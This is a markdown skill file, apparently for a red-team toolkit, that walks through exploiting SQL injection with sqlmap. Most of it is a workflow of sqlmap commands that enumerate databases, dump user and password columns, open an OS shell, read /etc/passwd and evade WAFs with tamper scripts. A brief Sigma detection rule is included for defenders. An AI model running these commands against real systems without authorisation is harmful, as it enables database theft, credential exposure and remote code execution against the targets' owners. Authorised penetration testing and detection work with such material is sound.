<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-sql-injection
description: >-
  Discover and exploit SQL injection vulnerabilities. Covers sqlmap automation,
  UNION/blind/time-based injection, WAF bypass, and database exfiltration.
domain: cybersecurity
subdomain: red-team
tags:
  - sql-injection
  - sqli
  - sqlmap
  - web-application
  - database
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1059.004"]
  tools: ["sqlmap", "burp-suite", "ghauri"]
---

# Exploiting SQL Injection

## Overview

SQL Injection (CWE-89) enables reading, modifying, or deleting database contents,
bypassing authentication, and achieving RCE via OS commands.

## Prerequisites

- Target web application with database backend
- sqlmap (`pip install sqlmap`)

```bash
pip install sqlmap
```

## Key Concepts

### Injection Types

| Type | Speed |
|------|-------|
| UNION-based | Fast |
| Error-based | Fast |
| Boolean-blind | Slow |
| Time-blind | Slowest |
| Stacked queries | Fast |

### DBMS Specifics

| DBMS | Comment | Delay |
|------|---------|-------|
| MySQL | `-- ` | `SLEEP(5)` |
| MSSQL | `--` | `WAITFOR DELAY '0:0:5'` |
| PostgreSQL | `--` | `pg_sleep(5)` |

## Workflow

### Step 1: Test for Injection

```bash
sqlmap -u 'https://target.com/page?id=1' --batch --random-agent
sqlmap -r request.txt --batch --level 3 --risk 2
```

### Step 2: Enumerate Database

```bash
sqlmap -u URL --current-db --current-user --batch
sqlmap -u URL --dbs --batch
sqlmap -u URL -D db --tables --batch
sqlmap -u URL -D db -T tbl --columns --batch
```

### Step 3: Extract Data

```bash
sqlmap -u URL -D db -T users -C user,pass --dump --batch --threads 10
sqlmap -u URL --search -C password --batch
```

### Step 4: Advanced

```bash
sqlmap -u URL --os-shell --batch
sqlmap -u URL --file-read=/etc/passwd --batch
sqlmap -u URL --tamper=space2comment,between,randomcase --batch
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|------------|
| WAF alerts | ModSecurity | SQL keywords in parameters |
| Slow queries | Database | SLEEP/WAITFOR statements |

```yaml
title: SQL Injection Attempt
id: f2a7b5c9-4d6e-48f1-b9c4-2e8a1d3f5c7b
status: experimental
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "UNION SELECT"
      - "SLEEP("
  condition: selection
falsepositives:
  - Authorized testing
level: high
tags:
  - attack.t1190
```

## Verification

- [ ] Injection point confirmed
- [ ] Database enumerated
- [ ] Data extracted or shell achieved
- [ ] Detection artifacts documented

## References

- [sqlmap](https://github.com/sqlmapproject/sqlmap)
- [OWASP SQLi](https://owasp.org/www-community/attacks/SQL_Injection)
- [MITRE T1190](https://attack.mitre.org/techniques/T1190/)
